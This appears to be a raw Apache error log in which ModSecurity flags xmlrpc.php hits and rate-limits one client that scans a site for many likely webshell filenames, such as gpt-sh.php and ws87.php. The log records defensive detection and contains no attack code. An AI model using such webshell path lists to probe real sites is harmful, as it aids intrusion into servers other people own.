[Fri Mar 27 13:37:47.039360 2026] [:error] [pid 4293:tid 4310] [client 223.181.58.3:31715] [client 223.181.58.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.181.58.3, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acYXq5LjeJUC3OKtEx-OmAAAAU8"]
[Fri Mar 27 13:37:47.052863 2026] [proxy_fcgi:error] [pid 4293:tid 4310] [client 223.181.58.3:31715] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 17:55:56.678184 2026] [:error] [pid 63897:tid 63908] [client 103.72.8.221:62935] [client 103.72.8.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.72.8.221, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acZULGVSkmYmLu7ycYgowgAAAQk"]
[Fri Mar 27 17:55:56.696352 2026] [proxy_fcgi:error] [pid 63897:tid 63908] [client 103.72.8.221:62935] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:37.617661 2026] [proxy_fcgi:error] [pid 4341:tid 4363] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:37.887286 2026] [proxy_fcgi:error] [pid 4341:tid 4344] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:38.152964 2026] [proxy_fcgi:error] [pid 4341:tid 4362] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:38.427756 2026] [proxy_fcgi:error] [pid 4341:tid 4361] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:38.706420 2026] [proxy_fcgi:error] [pid 4341:tid 4353] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:38.972565 2026] [proxy_fcgi:error] [pid 4341:tid 4364] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:39.238512 2026] [proxy_fcgi:error] [pid 4341:tid 4360] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:39.503231 2026] [proxy_fcgi:error] [pid 4341:tid 4355] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:39.776704 2026] [proxy_fcgi:error] [pid 4341:tid 4359] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:40.046147 2026] [proxy_fcgi:error] [pid 4341:tid 4352] [client 20.91.226.172:9870] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:14:40.308650 2026] [:error] [pid 4341:tid 4350] [client 20.91.226.172:9870] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bootstrap.php"] [unique_id "acZYkOKJWrNB5dMlERF3QAAAAYc"]
[Fri Mar 27 18:14:40.907683 2026] [:error] [pid 4293:tid 4318] [client 20.91.226.172:43835] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bootstrap.php"] [unique_id "acZYkJLjeJUC3OKtEx80dgAAAVc"]
[Fri Mar 27 18:14:41.469648 2026] [:error] [pid 4293:tid 4302] [client 20.91.226.172:14210] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bootstrap.php"] [unique_id "acZYkZLjeJUC3OKtEx80egAAAUc"]
[Fri Mar 27 18:14:42.044065 2026] [:error] [pid 4293:tid 4310] [client 20.91.226.172:14571] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bootstrap.php"] [unique_id "acZYkpLjeJUC3OKtEx80fwAAAU8"]
[Fri Mar 27 18:14:42.617864 2026] [:error] [pid 4293:tid 4296] [client 20.91.226.172:16969] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "acZYkpLjeJUC3OKtEx80hQAAAUE"]
[Fri Mar 27 18:14:43.247787 2026] [:error] [pid 4293:tid 4297] [client 20.91.226.172:14574] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "acZYk5LjeJUC3OKtEx80jQAAAUI"]
[Fri Mar 27 18:14:43.800767 2026] [:error] [pid 27750:tid 27832] [client 20.91.226.172:41076] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "acZYk4aSil5rd17ieLzbEwAAAI4"]
[Fri Mar 27 18:14:44.415565 2026] [:error] [pid 4341:tid 4354] [client 20.91.226.172:44784] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asasx.php"] [unique_id "acZYlOKJWrNB5dMlERF3SgAAAYs"]
[Fri Mar 27 18:14:45.005164 2026] [:error] [pid 27749:tid 27797] [client 20.91.226.172:8288] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "acZYlcEqyoMni2Q6_X7fkAAAAEY"]
[Fri Mar 27 18:14:45.532514 2026] [:error] [pid 27749:tid 27814] [client 20.91.226.172:44827] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "acZYlcEqyoMni2Q6_X7flgAAAFc"]
[Fri Mar 27 18:14:46.059109 2026] [:error] [pid 27749:tid 27808] [client 20.91.226.172:16153] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "acZYlsEqyoMni2Q6_X7fmwAAAFE"]
[Fri Mar 27 18:14:46.599704 2026] [:error] [pid 4293:tid 4304] [client 20.91.226.172:9910] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Sanskrit.php"] [unique_id "acZYlpLjeJUC3OKtEx80kAAAAUk"]
[Fri Mar 27 18:14:47.137621 2026] [:error] [pid 4293:tid 4306] [client 20.91.226.172:44849] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "acZYl5LjeJUC3OKtEx80kgAAAUs"]
[Fri Mar 27 18:14:47.688064 2026] [:error] [pid 4293:tid 4295] [client 20.91.226.172:44787] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "acZYl5LjeJUC3OKtEx80lgAAAUA"]
[Fri Mar 27 18:14:48.255736 2026] [:error] [pid 4293:tid 4308] [client 20.91.226.172:23724] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "acZYmJLjeJUC3OKtEx80nAAAAU0"]
[Fri Mar 27 18:14:48.884435 2026] [:error] [pid 4293:tid 4313] [client 20.91.226.172:44829] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/green.php"] [unique_id "acZYmJLjeJUC3OKtEx80oAAAAVI"]
[Fri Mar 27 18:14:49.429206 2026] [:error] [pid 4293:tid 4302] [client 20.91.226.172:41026] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "acZYmZLjeJUC3OKtEx80pAAAAUc"]
[Fri Mar 27 18:14:50.027251 2026] [:error] [pid 4341:tid 4357] [client 20.91.226.172:42340] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "acZYmuKJWrNB5dMlERF3TgAAAY4"]
[Fri Mar 27 18:14:50.625010 2026] [:error] [pid 4293:tid 4318] [client 20.91.226.172:44738] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "acZYmpLjeJUC3OKtEx80sQAAAVc"]
[Fri Mar 27 18:14:51.186191 2026] [:error] [pid 27749:tid 27803] [client 20.91.226.172:2494] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws87.php"] [unique_id "acZYm8EqyoMni2Q6_X7fpAAAAEw"]
[Fri Mar 27 18:14:51.775367 2026] [:error] [pid 4293:tid 4306] [client 20.91.226.172:44741] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxfyf.php"] [unique_id "acZYm5LjeJUC3OKtEx80yAAAAUs"]
[Fri Mar 27 18:14:52.361649 2026] [:error] [pid 4293:tid 4300] [client 20.91.226.172:23712] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxfyf.php"] [unique_id "acZYnJLjeJUC3OKtEx800AAAAUU"]
[Fri Mar 27 18:14:52.926018 2026] [:error] [pid 27851:tid 27869] [client 20.91.226.172:41064] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxfyf.php"] [unique_id "acZYnHR2ccxe3RMCLbrVaQAAAMs"]
[Fri Mar 27 18:14:53.482362 2026] [:error] [pid 27743:tid 27770] [client 20.91.226.172:10139] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxfyf.php"] [unique_id "acZYnSA46UYYLqzw99CsIwAAAAY"]
[Fri Mar 27 18:14:54.081470 2026] [:error] [pid 4341:tid 4363] [client 20.91.226.172:7785] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "acZYnuKJWrNB5dMlERF3WAAAAZQ"]
[Fri Mar 27 18:14:54.638607 2026] [:error] [pid 4293:tid 4317] [client 20.91.226.172:17011] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "acZYnpLjeJUC3OKtEx81BAAAAVY"]
[Fri Mar 27 18:14:55.221902 2026] [:error] [pid 27743:tid 27769] [client 20.91.226.172:12242] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "acZYnyA46UYYLqzw99CsKQAAAAU"]
[Fri Mar 27 18:14:55.749730 2026] [:error] [pid 4293:tid 4312] [client 20.91.226.172:12464] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "acZYn5LjeJUC3OKtEx81DAAAAVE"]
[Fri Mar 27 18:14:56.389988 2026] [:error] [pid 4293:tid 4318] [client 20.91.226.172:2485] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "acZYoJLjeJUC3OKtEx81EwAAAVc"]
[Fri Mar 27 18:14:56.964204 2026] [:error] [pid 4341:tid 4367] [client 20.91.226.172:16636] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "acZYoOKJWrNB5dMlERF3WwAAAZg"]
[Fri Mar 27 18:14:57.543988 2026] [:error] [pid 4293:tid 4319] [client 20.91.226.172:43817] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "acZYoZLjeJUC3OKtEx81GQAAAVg"]
[Fri Mar 27 18:14:58.072152 2026] [:error] [pid 4341:tid 4349] [client 20.91.226.172:21886] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gpt-sh.php"] [unique_id "acZYouKJWrNB5dMlERF3YQAAAYY"]
[Fri Mar 27 18:14:58.630002 2026] [:error] [pid 4341:tid 4346] [client 20.91.226.172:63017] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ne2026.php"] [unique_id "acZYouKJWrNB5dMlERF3ZQAAAYM"]
[Fri Mar 27 18:14:59.179616 2026] [:error] [pid 27743:tid 27772] [client 20.91.226.172:13015] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ne2026.php"] [unique_id "acZYoyA46UYYLqzw99CsMwAAAAg"]
[Fri Mar 27 18:14:59.705208 2026] [:error] [pid 4293:tid 4296] [client 20.91.226.172:8252] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ne2026.php"] [unique_id "acZYo5LjeJUC3OKtEx81IAAAAUE"]
[Fri Mar 27 18:15:00.231317 2026] [:error] [pid 4293:tid 4300] [client 20.91.226.172:42312] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ne2026.php"] [unique_id "acZYpJLjeJUC3OKtEx81JAAAAUU"]
[Fri Mar 27 18:15:00.797912 2026] [:error] [pid 27743:tid 27788] [client 20.91.226.172:16623] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2ksm17n.php"] [unique_id "acZYpCA46UYYLqzw99CsNwAAABg"]
[Fri Mar 27 18:15:01.349211 2026] [:error] [pid 27749:tid 27802] [client 20.91.226.172:63037] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2ksm17n.php"] [unique_id "acZYpcEqyoMni2Q6_X7f5AAAAEs"]
[Fri Mar 27 18:15:01.910452 2026] [:error] [pid 63897:tid 63907] [client 20.91.226.172:36025] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2ksm17n.php"] [unique_id "acZYpWVSkmYmLu7ycYguegAAAQg"]
[Fri Mar 27 18:15:02.435190 2026] [:error] [pid 27851:tid 27877] [client 20.91.226.172:8207] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2ksm17n.php"] [unique_id "acZYpnR2ccxe3RMCLbrVcAAAANM"]
[Fri Mar 27 18:15:03.092029 2026] [:error] [pid 27750:tid 27823] [client 20.91.226.172:41038] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "acZYp4aSil5rd17ieLzbHAAAAIU"]
[Fri Mar 27 18:15:03.621901 2026] [:error] [pid 27851:tid 27881] [client 20.91.226.172:21829] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "acZYp3R2ccxe3RMCLbrVdAAAANc"]
[Fri Mar 27 18:15:04.158863 2026] [:error] [pid 27851:tid 27873] [client 20.91.226.172:2411] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "acZYqHR2ccxe3RMCLbrVdwAAAM8"]
[Fri Mar 27 18:15:04.716958 2026] [:error] [pid 4293:tid 4317] [client 20.91.226.172:13020] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "acZYqJLjeJUC3OKtEx81KgAAAVY"]
[Fri Mar 27 18:15:05.307441 2026] [:error] [pid 4341:tid 4361] [client 20.91.226.172:28287] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "acZYqeKJWrNB5dMlERF3dQAAAZI"]
[Fri Mar 27 18:15:05.903021 2026] [:error] [pid 27743:tid 27771] [client 20.91.226.172:14042] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "acZYqSA46UYYLqzw99CsPgAAAAc"]
[Fri Mar 27 18:15:06.505786 2026] [:error] [pid 27750:tid 27835] [client 20.91.226.172:12259] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "acZYqoaSil5rd17ieLzbJQAAAJE"]
[Fri Mar 27 18:15:07.078817 2026] [:error] [pid 27750:tid 27839] [client 20.91.226.172:2621] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "acZYq4aSil5rd17ieLzbJgAAAJU"]
[Fri Mar 27 18:15:07.611474 2026] [:error] [pid 4293:tid 4297] [client 20.91.226.172:2567] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acZYq5LjeJUC3OKtEx81LQAAAUI"]
[Fri Mar 27 18:15:08.191346 2026] [:error] [pid 4293:tid 4311] [client 20.91.226.172:18415] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acZYrJLjeJUC3OKtEx81MgAAAVA"]
[Fri Mar 27 18:15:08.725357 2026] [:error] [pid 27743:tid 27784] [client 20.91.226.172:10136] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "acZYrCA46UYYLqzw99CsQwAAABQ"]
